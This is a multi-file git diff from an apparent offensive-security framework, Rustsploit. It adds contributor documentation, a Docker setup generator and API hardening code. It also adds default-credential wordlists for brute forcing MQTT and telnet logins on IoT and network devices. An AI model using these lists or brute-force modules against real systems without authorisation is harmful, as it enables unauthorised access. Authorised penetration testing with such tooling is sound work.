|
||||
11. [Testing & QA](#testing--qa)
|
||||
12. [Roadmap & Ideas](#roadmap--ideas)
|
||||
7. [Security & Input Validation](#security--input-validation)
|
||||
8. [Authoring Modules](#authoring-modules)
|
||||
9. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
10. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
11. [Utilities & Helpers](#utilities--helpers)
|
||||
12. [Testing & QA](#testing--qa)
|
||||
13. [Roadmap & Ideas](#roadmap--ideas)
|
||||
|
||||
---
|
||||
|
||||
@@ -36,14 +37,16 @@ Rustsploit is a Rust-first re-imagining of RouterSploit:
|
||||
|
||||
## Code Layout
|
||||
|
||||
```text
|
||||
```
|
||||
rustsploit/
|
||||
├── Cargo.toml
|
||||
├── build.rs # Generates dispatcher code by scanning src/modules
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode (includes input validation)
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers (includes sanitization)
|
||||
│ ├── api.rs # REST API server with auth, rate limiting, and security
|
||||
│ ├── config.rs # Global configuration with target validation
|
||||
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── exploit.rs
|
||||
@@ -56,13 +59,14 @@ rustsploit/
|
||||
│ │ ├── exploits/
|
||||
│ │ ├── scanners/
|
||||
│ │ └── creds/
|
||||
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
|
||||
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, validation)
|
||||
├── docs/
|
||||
│ └── readme.md # This document
|
||||
├── lists/
|
||||
│ ├── readme.md # Wordlist + data file catalogue
|
||||
│ ├── rtsp-paths.txt
|
||||
│ └── rtsphead.txt
|
||||
│ ├── rtsphead.txt
|
||||
│ └── telnet-default/ # Default telnet credentials
|
||||
└── README.md # Product overview
|
||||
```
|
||||
|
||||
@@ -126,7 +130,7 @@ Proxies are set globally via environment variables so both module HTTP requests
|
||||
|
||||
Example:
|
||||
|
||||
```bash
|
||||
```
|
||||
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
|
||||
```
|
||||
|
||||
@@ -134,11 +138,125 @@ If the module needs additional parameters, it can prompt interactively (e.g., br
|
||||
|
||||
---
|
||||
|
||||
## Security & Input Validation
|
||||
|
||||
RustSploit implements comprehensive security measures throughout the codebase. When contributing, follow these guidelines:
|
||||
|
||||
### Input Validation Constants
|
||||
|
||||
Located across core modules, these constants enforce safe limits:
|
||||
|
||||
| File | Constant | Value | Purpose |
|
||||
|------|----------|-------|---------|
|
||||
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
|
||||
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
|
||||
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
|
||||
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
|
||||
| `utils.rs` | `MAX_FILE_SIZE` | 10MB | Maximum file size to read |
|
||||
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
|
||||
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
|
||||
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1MB | API request body limit |
|
||||
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
|
||||
|
||||
### Security Patterns
|
||||
|
||||
When writing modules or core code, follow these patterns:
|
||||
|
||||
#### 1. Input Length Validation
|
||||
```
|
||||
if input.len() > MAX_INPUT_LENGTH {
|
||||
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
|
||||
}
|
||||
```
|
||||
|
||||
#### 2. Control Character Rejection
|
||||
```
|
||||
if input.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Input cannot contain control characters"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 3. Path Traversal Prevention
|
||||
```
|
||||
if input.contains("..") || input.contains("//") {
|
||||
return Err(anyhow!("Path traversal detected"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 4. Hostname/Target Validation
|
||||
```
|
||||
// Use the framework's normalize_target function for comprehensive validation
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let normalized = normalize_target(raw_target)?;
|
||||
// This handles IPv4, IPv6, hostnames, URLs, CIDR notation with full validation
|
||||
```
|
||||
|
||||
For manual validation:
|
||||
```
|
||||
use regex::Regex;
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!("Invalid characters in target"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 5. Overflow Protection
|
||||
```
|
||||
// Use saturating_add to prevent overflow
|
||||
counter = counter.saturating_add(1);
|
||||
```
|
||||
|
||||
#### 6. Prompt Attempt Limiting
|
||||
```
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
let mut attempts = 0;
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("Too many invalid attempts. Using default.");
|
||||
return Ok(default);
|
||||
}
|
||||
// ... prompt logic
|
||||
}
|
||||
```
|
||||
|
||||
### API Security
|
||||
|
||||
The API server (`api.rs`) implements:
|
||||
|
||||
- **Request Body Limiting:** `RequestBodyLimitLayer` prevents DoS via large payloads
|
||||
- **Rate Limiting:** 3 failed auth attempts = 30 second block
|
||||
- **Auto-cleanup:** Old entries purged when limits exceeded
|
||||
- **IP Tracking:** With automatic rotation when suspicious activity detected
|
||||
|
||||
### File Operations
|
||||
|
||||
When reading files, always:
|
||||
1. Validate the path doesn't contain `..`
|
||||
2. Use `canonicalize()` to resolve the real path
|
||||
3. Check file size before reading
|
||||
4. Skip symlinks for security
|
||||
|
||||
### Honeypot Detection
|
||||
|
||||
The framework automatically runs honeypot detection before module execution when a target is set. The `basic_honeypot_check` function in `utils.rs`:
|
||||
|
||||
- Scans 200 common ports with 250ms timeout per port
|
||||
- If 11+ ports are open, warns that the target is likely a honeypot
|
||||
- Runs automatically in the shell's `run` and `run_all` commands
|
||||
- Can be called manually: `utils::basic_honeypot_check(&ip).await`
|
||||
|
||||
This helps operators identify potentially deceptive targets before spending time on them.
|
||||
|
||||
---
|
||||
|
||||
## Authoring Modules
|
||||
|
||||
Every module must export:
|
||||
|
||||
```rust
|
||||
```
|
||||
use anyhow::Result;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
@@ -157,9 +275,9 @@ Guidelines:
|
||||
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
|
||||
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
|
||||
|
||||
### Example skeleton
|
||||
### skeleton
|
||||
|
||||
```rust
|
||||
```
|
||||
use anyhow::{Context, Result};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
@@ -187,17 +305,39 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
## Credential Modules: Best Practices
|
||||
|
||||
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
|
||||
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
|
||||
|
||||
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
|
||||
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
|
||||
- **Concurrency:**
|
||||
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
|
||||
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH, MQTT).
|
||||
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
|
||||
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
|
||||
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
|
||||
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
|
||||
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
|
||||
- **Error classification:** Implement comprehensive error types (ConnectionFailed, AuthenticationFailed, Timeout, etc.) for better debugging and reporting.
|
||||
- **Memory management:** For large wordlists (>150MB), implement streaming mode to prevent memory exhaustion (see RDP module for reference).
|
||||
- **Protocol compliance:** Implement full protocol support where applicable (e.g., Telnet IAC negotiation, MQTT 3.1.1).
|
||||
|
||||
### Recent Module Enhancements
|
||||
|
||||
- **Telnet Module**:
|
||||
- Full IAC (Interpret As Command) negotiation with proper option handling
|
||||
- Enhanced error classification with specific error types
|
||||
- Verbose mode for quick checks with detailed attempt reporting
|
||||
- Improved buffer handling using `BytesMut` with size limits
|
||||
|
||||
- **RDP Module**:
|
||||
- Streaming failover for password files >150MB
|
||||
- Comprehensive error classification with 8 error types
|
||||
- Multiple security level support (Auto, NLA, TLS, RDP, Negotiate)
|
||||
- Command injection prevention via argument sanitization
|
||||
|
||||
- **MQTT Module**:
|
||||
- Full MQTT 3.1.1 protocol implementation
|
||||
- Proper variable-length encoding and UTF-8 string encoding
|
||||
- CONNACK response parsing with error classification
|
||||
|
||||
---
|
||||
|
||||
@@ -215,9 +355,22 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
|
||||
|
||||
`src/utils.rs` provides:
|
||||
|
||||
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
|
||||
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
|
||||
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
|
||||
- **`normalize_target`**: Comprehensive target normalization supporting:
|
||||
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
|
||||
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
|
||||
- Hostnames: `example.com`, `example.com:443`
|
||||
- URLs: `http://example.com:8080` (extracts host:port)
|
||||
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
|
||||
|
||||
Includes comprehensive validation (DoS prevention, path traversal protection, format validation).
|
||||
|
||||
- **`extract_ip_from_target`**: Extracts IP address or hostname from normalized target strings, handling ports, brackets, and CIDR notation.
|
||||
|
||||
- **`basic_honeypot_check`**: Framework-level honeypot detection that scans 200 common ports. If 11+ ports are open, warns that the target is likely a honeypot. This runs automatically before module execution when a target is set.
|
||||
|
||||
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
|
||||
|
||||
- **Proxy helpers**: `load_proxies_from_file`, `test_proxies`, etc. (described earlier).
|
||||
|
||||
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
|
||||
|
||||
@@ -250,4 +403,4 @@ Contributions are welcome—open an issue or start a discussion before large ref
|
||||
|
||||
---
|
||||
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !***
|
||||
|
||||
@@ -44,23 +44,6 @@ Here is the original module that needs to be refactored:
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Strict Requirements:
|
||||
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
public
|
||||
guest
|
||||
sysadmin
|
||||
hivemq
|
||||
emonpimqtt2016
|
||||
mosquitto
|
||||
mqttpassword
|
||||
password
|
||||
[auto-generated]
|
||||
[empty]
|
||||
[printed on PLC]
|
||||
password
|
||||
password
|
||||
password
|
||||
bitnami
|
||||
@@ -0,0 +1,15 @@
|
||||
admin
|
||||
guest
|
||||
sysadmin@thingsboard.org
|
||||
admin
|
||||
emonpi
|
||||
mosquitto
|
||||
mqttuser
|
||||
admin
|
||||
homeassistant
|
||||
DVES_USER
|
||||
admin
|
||||
roger
|
||||
sub_client
|
||||
pub_client
|
||||
user
|
||||
+19
-4
@@ -6,10 +6,14 @@ This directory contains reference lists and helper payloads consumed by modules
|
||||
|
||||
## Available Files
|
||||
|
||||
| File | Used By | Description |
|
||||
|------|---------|-------------|
|
||||
| File / Directory | Used By | Description |
|
||||
|------------------|---------|-------------|
|
||||
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
|
||||
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
|
||||
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
|
||||
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
|
||||
|
||||
---
|
||||
|
||||
@@ -29,5 +33,16 @@ This directory contains reference lists and helper payloads consumed by modules
|
||||
- `telnet-banners.txt` to fingerprint devices before brute forcing
|
||||
- `http-admin-panels.txt` for web interface discovery scanners
|
||||
- Vendor-specific RTSP or ONVIF endpoint lists
|
||||
- `snmp-community-strings.txt` for SNMP brute forcing
|
||||
- `fortinet-users.txt` for Fortinet SSL VPN testing
|
||||
- `ssh-default-creds.txt` for common SSH credentials
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
|
||||
## Security Notes
|
||||
|
||||
When contributing wordlists:
|
||||
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
|
||||
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
|
||||
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
|
||||
- **Line format:** One entry per line, use `#` or `//` for comments
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here.
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
password
|
||||
123456
|
||||
1234
|
||||
root
|
||||
toor
|
||||
guest
|
||||
default
|
||||
admin123
|
||||
adminadmin
|
||||
pass
|
||||
changeme
|
||||
password1
|
||||
cisco
|
||||
ubnt
|
||||
support
|
||||
12345
|
||||
qwerty
|
||||
letmein
|
||||
test
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
root
|
||||
user
|
||||
administrator
|
||||
guest
|
||||
support
|
||||
operator
|
||||
supervisor
|
||||
admin1
|
||||
root1
|
||||
manager
|
||||
service
|
||||
master
|
||||
tech
|
||||
sysadmin
|
||||
default
|
||||
cisco
|
||||
ubnt
|
||||
pi
|
||||
test
|
||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 435 KiB |
@@ -0,0 +1,327 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Interactive generator for RustSploit Docker-Compose stack.
|
||||
Produces:
|
||||
docker-compose.rustsploit.yml (with embedded Dockerfile)
|
||||
.env.rustsploit-docker
|
||||
and prints the command to bring the stack up.
|
||||
|
||||
This variant includes runtime fixes to avoid permission-denied on /app/data
|
||||
and ensures the container starts as root briefly to fix ownership, then
|
||||
executes the rustsploit binary as the less-privileged `rustsploit` user.
|
||||
"""
|
||||
import secrets
|
||||
import os
|
||||
import stat
|
||||
import socket
|
||||
import ipaddress
|
||||
import subprocess
|
||||
import pwd
|
||||
from pathlib import Path
|
||||
|
||||
# Fix: Use parent.parent since script is in scripts/ directory
|
||||
repo = Path(__file__).resolve().parent.parent
|
||||
if not (repo / "Cargo.toml").exists():
|
||||
print("[-] Error: Run this script from the RustSploit repository root.")
|
||||
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
|
||||
exit(1)
|
||||
|
||||
# ---------- Helper functions ----------
|
||||
def ask(prompt, default=None, validator=None):
|
||||
"""Interactive prompt with validation."""
|
||||
suffix = f" [{default}]" if default is not None else ""
|
||||
while True:
|
||||
val = input(f"{prompt}{suffix}: ").strip()
|
||||
if not val and default is not None:
|
||||
val = default
|
||||
if not val:
|
||||
print("Value cannot be empty.")
|
||||
continue
|
||||
if validator:
|
||||
try:
|
||||
validator(val)
|
||||
except ValueError as e:
|
||||
print(f"Invalid input: {e}")
|
||||
continue
|
||||
return val
|
||||
|
||||
|
||||
def ask_yes_no(prompt, default=True):
|
||||
"""Yes/No prompt."""
|
||||
hint = "Y/n" if default else "y/N"
|
||||
while True:
|
||||
val = input(f"{prompt} ({hint}): ").strip().lower()
|
||||
if not val:
|
||||
return default
|
||||
if val in ("y", "yes"):
|
||||
return True
|
||||
if val in ("n", "no"):
|
||||
return False
|
||||
print("Please answer 'y' or 'n'.")
|
||||
|
||||
|
||||
def validate_host(host):
|
||||
"""Validate host/IP address."""
|
||||
host = host.strip()
|
||||
if not host:
|
||||
raise ValueError("Host cannot be empty")
|
||||
# Allow localhost
|
||||
if host == "localhost":
|
||||
return
|
||||
# Try to parse as IP
|
||||
try:
|
||||
ipaddress.ip_address(host)
|
||||
except ValueError:
|
||||
# Not a valid IP, check if it's a valid hostname
|
||||
if len(host) > 253:
|
||||
raise ValueError("Hostname too long (max 253 chars)")
|
||||
if any(c.isspace() for c in host):
|
||||
raise ValueError("Hostname cannot contain whitespace")
|
||||
|
||||
|
||||
def validate_port(port_str):
|
||||
"""Validate port number."""
|
||||
try:
|
||||
port = int(port_str)
|
||||
if not (1 <= port <= 65535):
|
||||
raise ValueError("Port must be between 1 and 65535")
|
||||
except ValueError as e:
|
||||
if "invalid literal" in str(e):
|
||||
raise ValueError("Port must be a number")
|
||||
raise
|
||||
|
||||
|
||||
def detect_private_ip():
|
||||
"""Try to detect private IP address."""
|
||||
try:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
|
||||
sock.connect(("192.0.2.1", 80))
|
||||
return sock.getsockname()[0]
|
||||
except OSError:
|
||||
return None
|
||||
|
||||
# ---------- Interactive prompts ----------
|
||||
print("\n[+] RustSploit Docker Setup\n")
|
||||
|
||||
# Host selection
|
||||
print("Select bind address:")
|
||||
print(" [1] 127.0.0.1 (localhost only)")
|
||||
print(" [2] 0.0.0.0 (all interfaces)")
|
||||
print(" [3] Private LAN IP (auto-detect)")
|
||||
print(" [4] Custom IP/hostname")
|
||||
|
||||
choice = ask("Choice", "2")
|
||||
if choice == "1":
|
||||
host = "127.0.0.1"
|
||||
elif choice == "2":
|
||||
host = "0.0.0.0"
|
||||
elif choice == "3":
|
||||
detected = detect_private_ip()
|
||||
if detected:
|
||||
print(f"[+] Detected private IP: {detected}")
|
||||
use_detected = ask_yes_no("Use detected IP?", True)
|
||||
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
|
||||
else:
|
||||
print("[-] Could not auto-detect private IP")
|
||||
host = ask("Enter IP/hostname", validator=validate_host)
|
||||
else:
|
||||
host = ask("Enter IP/hostname", validator=validate_host)
|
||||
|
||||
# Port
|
||||
# Default changed to 9000 as this is a common API port and matches user's prior usage
|
||||
port_str = ask("Host port to expose", "9000", validator=validate_port)
|
||||
port = int(port_str)
|
||||
|
||||
# API Key
|
||||
print("\n[+] API Key Configuration")
|
||||
generate_key = ask_yes_no("Generate random API key?", True)
|
||||
if generate_key:
|
||||
api_key = secrets.token_urlsafe(32)
|
||||
print(f"[+] Generated API key: {api_key}")
|
||||
else:
|
||||
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
|
||||
|
||||
# Hardening
|
||||
print("\n[+] Security Hardening")
|
||||
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
|
||||
ip_limit = 10
|
||||
if harden:
|
||||
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
|
||||
ip_limit = int(ip_limit_str)
|
||||
|
||||
# ---------- File generation ----------
|
||||
env_file = ".env.rustsploit-docker"
|
||||
compose_file = "docker-compose.rustsploit.yml"
|
||||
|
||||
env_path = repo / env_file
|
||||
compose_path = repo / compose_file
|
||||
|
||||
# Check for existing .env file
|
||||
if env_path.exists():
|
||||
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
|
||||
if not ask_yes_no("Overwrite .env file?", False):
|
||||
print("[-] Aborted.")
|
||||
exit(0)
|
||||
|
||||
# Check for existing docker-compose file
|
||||
if compose_path.exists():
|
||||
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
|
||||
if not ask_yes_no("Overwrite docker-compose file?", False):
|
||||
print("[-] Aborted.")
|
||||
exit(0)
|
||||
|
||||
# ---- .env ----
|
||||
container_interface = f"0.0.0.0:{port}"
|
||||
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
|
||||
RUSTSPLOIT_API_KEY={api_key}
|
||||
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
|
||||
RUSTSPLOIT_IP_LIMIT={ip_limit}
|
||||
"""
|
||||
env_path.write_text(env_content)
|
||||
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
|
||||
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
|
||||
print(f"\n[+] Generated: {env_path}")
|
||||
|
||||
# Fix ownership if file was created with sudo (owned by root)
|
||||
if env_path.stat().st_uid == 0:
|
||||
print("[!] File was created as root. Fixing ownership...")
|
||||
try:
|
||||
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
|
||||
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
|
||||
if not user:
|
||||
user = pwd.getpwuid(os.getuid()).pw_name
|
||||
|
||||
# If we're running as root (via sudo), we can chown directly
|
||||
if os.geteuid() == 0:
|
||||
user_info = pwd.getpwnam(user)
|
||||
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
|
||||
print(f"[+] Ownership fixed: {user}:{user}")
|
||||
else:
|
||||
# Not root, need to use sudo
|
||||
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
|
||||
print(f"[+] Ownership fixed: {user}:{user}")
|
||||
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
|
||||
print(f"[!] Warning: Could not automatically fix ownership: {e}")
|
||||
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
|
||||
|
||||
# ---- docker-compose.yml with embedded Dockerfile ----
|
||||
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
|
||||
# /app/data at container startup, then it drops privileges and executes the
|
||||
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
|
||||
|
||||
dockerfile_content = """FROM rust:1.83-slim AS builder
|
||||
WORKDIR /workspace
|
||||
ENV CARGO_TERM_COLOR=always
|
||||
|
||||
RUN apt-get update \\
|
||||
&& apt-get install -y --no-install-recommends \\
|
||||
build-essential \\
|
||||
pkg-config \\
|
||||
libssl-dev \\
|
||||
libclang-dev \\
|
||||
libpcap-dev \\
|
||||
libsqlite3-dev \\
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY Cargo.toml ./
|
||||
COPY Cargo.lock* ./
|
||||
|
||||
COPY . .
|
||||
RUN cargo build --release --bin rustsploit
|
||||
|
||||
FROM debian:bookworm-slim AS serve
|
||||
RUN apt-get update \\
|
||||
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# create non-root user
|
||||
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
|
||||
WORKDIR /app
|
||||
|
||||
# create data dir (image-level), but runtime entrypoint will chown the volume target
|
||||
RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
|
||||
|
||||
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
|
||||
|
||||
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
|
||||
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
|
||||
echo 'set -e' >> /entrypoint.sh && \\
|
||||
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
|
||||
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
|
||||
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
|
||||
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
|
||||
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
|
||||
echo ' fi' >> /entrypoint.sh && \\
|
||||
echo 'fi' >> /entrypoint.sh && \\
|
||||
# ensure data dir exists and is owned by rustsploit so that non-root process can write
|
||||
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
|
||||
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
|
||||
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
|
||||
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
|
||||
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
|
||||
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
|
||||
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
|
||||
# finally, execute rustsploit as the rustsploit user using runuser
|
||||
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
|
||||
chmod +x /entrypoint.sh && \\
|
||||
chown root:root /entrypoint.sh && \\
|
||||
chown root:root /usr/local/bin/rustsploit
|
||||
|
||||
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
|
||||
EXPOSE 8080
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
"""
|
||||
|
||||
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
|
||||
dockerfile_path = repo / "Dockerfile.rustsploit"
|
||||
dockerfile_path.write_text(dockerfile_content)
|
||||
print(f"[+] Generated: {dockerfile_path}")
|
||||
|
||||
# Generate docker-compose.yml
|
||||
compose_content = f"""# Generated by {Path(__file__).name}
|
||||
services:
|
||||
rustsploit-api:
|
||||
container_name: rustsploit-api
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile.rustsploit
|
||||
target: serve
|
||||
restart: unless-stopped
|
||||
env_file:
|
||||
- {env_file}
|
||||
ports:
|
||||
- "{host}:{port}:{port}"
|
||||
security_opt:
|
||||
- no-new-privileges:true
|
||||
tmpfs:
|
||||
- /tmp
|
||||
volumes:
|
||||
- rustsploit-data:/app/data
|
||||
|
||||
volumes:
|
||||
rustsploit-data:
|
||||
name: rustsploit-data
|
||||
"""
|
||||
|
||||
compose_path.write_text(compose_content)
|
||||
print(f"[+] Generated: {compose_path}")
|
||||
|
||||
print("\n[+] Setup complete!")
|
||||
print("\n[+] Generated files:")
|
||||
print(f" - {env_path.relative_to(repo)}")
|
||||
print(f" - {compose_path.relative_to(repo)}")
|
||||
print(f" - {dockerfile_path.relative_to(repo)}")
|
||||
print(f"\n[!] Note: Run docker compose commands from the repository root:")
|
||||
print(f" cd {repo}")
|
||||
print("\n[+] To start the stack, run:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} up -d --build")
|
||||
print("\n[+] To view logs:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} logs -f")
|
||||
print("\n[+] To stop the stack:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} down")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} down")
|
||||
+65
-17
@@ -21,11 +21,23 @@ use tokio::{
|
||||
sync::RwLock,
|
||||
};
|
||||
use tower::ServiceBuilder;
|
||||
use tower_http::trace::TraceLayer;
|
||||
use tower_http::{
|
||||
trace::TraceLayer,
|
||||
limit::RequestBodyLimitLayer,
|
||||
};
|
||||
use uuid::Uuid;
|
||||
|
||||
use crate::commands;
|
||||
|
||||
/// Maximum request body size (1MB) to prevent DoS
|
||||
const MAX_REQUEST_BODY_SIZE: usize = 1024 * 1024;
|
||||
|
||||
/// Maximum number of tracked IPs before cleanup
|
||||
const MAX_TRACKED_IPS: usize = 100_000;
|
||||
|
||||
/// Maximum number of auth failure entries
|
||||
const MAX_AUTH_FAILURE_ENTRIES: usize = 100_000;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct ApiKey {
|
||||
pub key: String,
|
||||
@@ -161,14 +173,35 @@ impl ApiState {
|
||||
if !self.harden_enabled {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Validate IP string length
|
||||
if ip.len() > 128 {
|
